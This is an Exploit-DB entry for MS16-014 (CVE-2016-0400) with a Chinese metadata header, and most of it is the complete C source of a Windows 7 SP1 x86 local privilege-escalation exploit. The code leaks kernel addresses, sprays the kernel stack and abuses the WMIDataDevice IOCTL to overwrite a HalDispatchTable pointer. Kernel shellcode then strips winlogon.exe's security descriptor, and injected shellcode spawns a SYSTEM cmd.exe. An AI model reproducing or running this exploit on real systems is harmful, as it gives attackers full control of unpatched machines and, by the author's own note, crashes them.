标题: Microsoft Windows 7 SP1 (x86) - Local Privilege Escalation (MS16-014) EDB-ID: 40039 CVE: 2016-0400 类型: LOCAL 平台: WINDOWS_X86 发布日期: 2016-06-29 漏洞利用脚本: /* 
# Exploit Title: Elevation of privilege on Windows 7 SP1 x86
# Date: 28/06-2016
# Exploit Author: @blomster81
# Vendor Homepage: www.microsoft.com
# Version: Windows 7 SP1 x86
# Tested on: Windows 7 SP1 x86
# CVE : 2016-0400

MS16-014 EoP PoC created from 
https://github.com/Rootkitsmm/cve-2016-0040/blob/master/poc.cc
Spawns CMD.exe with SYSTEM rights. 
Overwrites HaliSystemQueryInformation, but does not replace it, so BSOD will occur at some point

********* EDB Note *********

ntos.h is available here: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40039.zip

***************************

*/

#include "stdafx.h"
#include <Windows.h>
#include <winioctl.h>
#include "ntos.h"
#include <TlHelp32.h>


typedef union {
 HANDLE Handle;
 ULONG64 Handle64;
 ULONG32 Handle32;
}
HANDLE3264, *PHANDLE3264;

typedef struct {
 ULONG HandleCount;
 ULONG Action;
 HANDLE /* PUSER_THREAD_START_ROUTINE */ UserModeCallback;
 HANDLE3264 UserModeProcess;
 HANDLE3264 Handles[20];
}
WMIRECEIVENOTIFICATION, *PWMIRECEIVENOTIFICATION;

#define RECEIVE_ACTION_CREATE_THREAD 2 // Mark guid objects as requiring

typedef struct {
 IN VOID * ObjectAttributes;
 IN ACCESS_MASK DesiredAccess;

 OUT HANDLE3264 Handle;
}
WMIOPENGUIDBLOCK, *PWMIOPENGUIDBLOCK;

typedef enum _KPROFILE_SOURCE {
 ProfileTime,
 ProfileAlignmentFixup,
 ProfileTotalIssues,
 ProfilePipelineDry,
 ProfileLoadInstructions,
 ProfilePipelineFrozen,
 ProfileBranchInstructions,
 ProfileTotalNonissues,
 ProfileDcacheMisses,
 ProfileIcacheMisses,
 ProfileCacheMisses,
 ProfileBranchMispredictions,
 ProfileStoreInstructions,
 ProfileFpInstructions,
 ProfileIntegerInstructions,
 Profile2Issue,
 Profile3Issue,
 Profile4Issue,
 ProfileSpecialInstructions,
 ProfileTotalCycles,
 ProfileIcacheIssues,
 ProfileDcacheAccesses,
 ProfileMemoryBarrierCycles,
 ProfileLoadLinkedIssues,
 ProfileMaximum

} KPROFILE_SOURCE, *PKPROFILE_SOURCE;

typedef struct _DESKTOPINFO
{
 /* 000 */ PVOID        pvDesktopBase;
 /* 008 */ PVOID        pvDesktopLimit;

} DESKTOPINFO, *PDESKTOPINFO;


typedef struct _CLIENTINFO
{
 /* 000 */ DWORD             CI_flags;
 /* 004 */ DWORD             cSpins;
 /* 008 */ DWORD             dwExpWinVer;
 /* 00c */ DWORD             dwCompatFlags;
 /* 010 */ DWORD             dwCompatFlags2;
 /* 014 */ DWORD             dwTIFlags;
 /* 018 */ DWORD    filler1;
 /* 01c */ DWORD    filler2;
 /* 020 */ PDESKTOPINFO      pDeskInfo;
 /* 028 */ ULONG_PTR         ulClientDelta;

} CLIENTINFO, *PCLIENTINFO;

typedef struct _HANDLEENTRY {
 PVOID  phead;
 ULONG_PTR  pOwner;
 BYTE  bType;
 BYTE  bFlags;
 WORD  wUniq;
}HANDLEENTRY, *PHANDLEENTRY;

typedef struct _SERVERINFO {
 DWORD dwSRVIFlags;
 DWORD64 cHandleEntries;
 WORD wSRVIFlags;
 WORD wRIPPID;
 WORD wRIPError;
}SERVERINFO, *PSERVERINFO;

typedef struct _SHAREDINFO {
 PSERVERINFO psi;
 PHANDLEENTRY aheList;
 ULONG HeEntrySize;
 ULONG_PTR pDispInfo;
 ULONG_PTR ulSharedDelta;
 ULONG_PTR awmControl;
 ULONG_PTR DefWindowMsgs;
 ULONG_PTR DefWindowSpecMsgs;
}SHAREDINFO, *PSHAREDINFO;

#define IOCTL_WMI_RECEIVE_NOTIFICATIONS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x51, METHOD_BUFFERED, FILE_WRITE_ACCESS)

typedef ULONG(__stdcall *g_ZwMapUserPhysicalPages)(PVOID, ULONG, PULONG);
typedef NTSTATUS(_stdcall *_NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
typedef NTSTATUS(_stdcall *_NtQueryIntervalProfile)(KPROFILE_SOURCE ProfilSource, PULONG Interval);

DWORD g_HalDispatchTable = 0;
void* kHandle;
HWND g_window = NULL;
const WCHAR g_windowClassName[] = L"Victim_Window";
WNDCLASSEX wc;
PSHAREDINFO g_pSharedInfo;
PSERVERINFO g_pServerInfo;
HANDLEENTRY* g_UserHandleTable;

LRESULT CALLBACK WProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
 return DefWindowProc(hwnd, uMsg, wParam, lParam);
}

DWORD getProcessId(wchar_t* str)
{
 HANDLE hProcessSnap;
 PROCESSENTRY32 pe32;
 DWORD PID;

 hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
 if (hProcessSnap == INVALID_HANDLE_VALUE)
 {
  return 0;
 }

 pe32.dwSize = sizeof(PROCESSENTRY32);
 if (!Process32First(hProcessSnap, &pe32))
 {
  CloseHandle(hProcessSnap);
  return 0;
 }

 do
 {
  if (!wcscmp(pe32.szExeFile, str))
  {
   wprintf(L"Process: %s found\n", pe32.szExeFile);
   PID = pe32.th32ProcessID;
   return PID;
  }
 } while (Process32Next(hProcessSnap, &pe32));
 return 0;
}

void Launch()
{
 void* pMem;
 char shellcode[] =
  "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
  "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
  "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
  "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
  "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
  "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
  "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
  "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
  "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
  "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00"
  "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a"
  "\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
  "\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x6d\x64\x2e"
  "\x65\x78\x65\x00";

 wchar_t* str = L"winlogon.exe";
 DWORD PID = getProcessId(str);
 HANDLE hEx = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
 pMem = VirtualAllocEx(hEx, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 DWORD res = WriteProcessMemory(hEx, pMem, shellcode, sizeof(shellcode), 0);
 HANDLE res2 = CreateRemoteThread(hEx, NULL, 0, (LPTHREAD_START_ROUTINE)pMem, NULL, 0, NULL);
}

BOOL leakHal()
{
 _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtQuerySystemInformation");
 PRTL_PROCESS_MODULES pModuleInfo;
 DWORD ntoskrnlBase;
 DWORD HalDTUser, HalDTOffset;
 HMODULE userKernel;

 pModuleInfo = (PRTL_PROCESS_MODULES)VirtualAlloc(NULL, 0x100000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 if (pModuleInfo == NULL)
 {
  printf("Could not allocate memory\n");
  return FALSE;
 }
 NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, 0x100000, NULL);
 ntoskrnlBase = (DWORD)pModuleInfo->Modules[0].ImageBase;
 userKernel = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
 if (userKernel == NULL)
 {
  printf("Could not load ntoskrnl.exe\n");
  return FALSE;
 }

 HalDTUser = (DWORD)GetProcAddress(userKernel, "HalDispatchTable");
 HalDTOffset = HalDTUser - (DWORD)userKernel;
 g_HalDispatchTable = ntoskrnlBase + HalDTOffset + 0x9000;
 return TRUE;
}

BOOL setup()
{
 LoadLibraryA("user32.dll");

 wc.cbSize = sizeof(WNDCLASSEX);
 wc.style = 0;
 wc.lpfnWndProc = WProc;
 wc.cbClsExtra = 0;
 wc.cbWndExtra = 0;
 wc.hInstance = NULL;
 wc.hCursor = NULL;
 wc.hIcon = NULL;
 wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
 wc.lpszMenuName = NULL;
 wc.lpszClassName = g_windowClassName;
 wc.hIconSm = NULL;

 if (!RegisterClassEx(&wc))
 {
  printf("Failed to register window: %d\n", GetLastError());
  return FALSE;
 }
 g_window = CreateWindowEx(WS_EX_CLIENTEDGE, g_windowClassName, L"Victim_Window", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
 if (g_window == NULL)
 {
  printf("Failed to create window: %d\n", GetLastError());
  return FALSE;
 }

 g_pSharedInfo = (PSHAREDINFO)GetProcAddress(LoadLibraryA("user32.dll"), "gSharedInfo");
 g_UserHandleTable = g_pSharedInfo->aheList;
 g_pServerInfo = g_pSharedInfo->psi;

 return TRUE;
}

DWORD leakWndAddr(HWND hwnd)
{
 DWORD addr = 0;
 HWND kernelHandle = NULL;

 for (int i = 0; i < g_pServerInfo->cHandleEntries; i++)
 {
  kernelHandle = (HWND)(i | (g_UserHandleTable[i].wUniq << 0x10));
  if (kernelHandle == hwnd)
  {
   addr = (DWORD)g_UserHandleTable[i].phead;
   break;
  }
 }
 return addr;
}

VOID SprayKernelStack() {
 g_ZwMapUserPhysicalPages ZwMapUserPhysicalPages = (g_ZwMapUserPhysicalPages)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "ZwMapUserPhysicalPages");
 if (ZwMapUserPhysicalPages == NULL)
 {
  printf("Could not get ZwMapUserPhysicalPages\n");
  return;
 }
 BYTE buffer[4096];
 DWORD value = g_HalDispatchTable - 0x3C + 0x4;
 for (int i = 0; i < sizeof(buffer) / 4; i++)
 {
  memcpy(buffer + i * 4, &value, sizeof(DWORD));
 }
 printf("Where is at: 0x%x\n", buffer);
 ZwMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);
}

__declspec(noinline) int Shellcode()
{
 __asm {
  mov eax, kHandle // WND - Which window? Check this
  mov eax, [eax + 8] // THREADINFO
  mov eax, [eax] // ETHREAD
  mov eax, [eax + 0x150] // KPROCESS
  mov eax, [eax + 0xb8] // flink
  procloop:
  lea edx, [eax - 0xb8] // KPROCESS
  mov eax, [eax]
  add edx, 0x16c // module name
  cmp dword ptr[edx], 0x6c6e6977 // �winl� for winlogon.exe
  jne procloop
  sub edx, 0x170
  mov dword ptr[edx], 0x0 // NULL ACL
  ret
 }
}

int main() {
 DWORD dwBytesReturned;
 HANDLE threadhandle;
 WMIRECEIVENOTIFICATION buffer;
 CHAR OutPut[1000];

 if (!setup())
 {
  printf("Could not setup window\n");
  return 0;
 }


 PVOID userSC = VirtualAlloc((VOID*)0x2a000000, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
 kHandle = (void*)leakWndAddr(g_window);
 memset(userSC, 0x41, 0x1000);
 memcpy(userSC, Shellcode, 0x40);


 if (!leakHal())
 {
  printf("Could not leak Hal\n");
  return 0;
 }
 printf("HalDispatchTable is at: 0x%x\n", g_HalDispatchTable);

 DWORD value = (DWORD)userSC;
 PBYTE buff = (PBYTE)&buffer;
 for (int i = 0; i < sizeof(buffer) / 4; i++)
 {
  memcpy(buff + i * 4, &value, sizeof(DWORD));
 }
 printf("What is at: 0x%x\n", buff);

 buffer.HandleCount = 0;
 buffer.Action = RECEIVE_ACTION_CREATE_THREAD;
 buffer.UserModeProcess.Handle = GetCurrentProcess();

 HANDLE hDriver = CreateFileA("\\\\.\\WMIDataDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
 if (hDriver != INVALID_HANDLE_VALUE) {
  SprayKernelStack();

  if (!DeviceIoControl(hDriver, IOCTL_WMI_RECEIVE_NOTIFICATIONS, &buffer, sizeof(buffer), &OutPut, sizeof(OutPut), &dwBytesReturned, NULL)) {
   return 1;
  }

 }
 _NtQueryIntervalProfile NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtQueryIntervalProfile");
 ULONG result;
 KPROFILE_SOURCE stProfile = ProfileTotalIssues;
 NtQueryIntervalProfile(stProfile, &result);
 printf("SYSTEM shell comming\n");
 Launch();
 printf("All done, exiting\n");

 return 0;
} URL: https://www.exploit-db.com/exploits/40039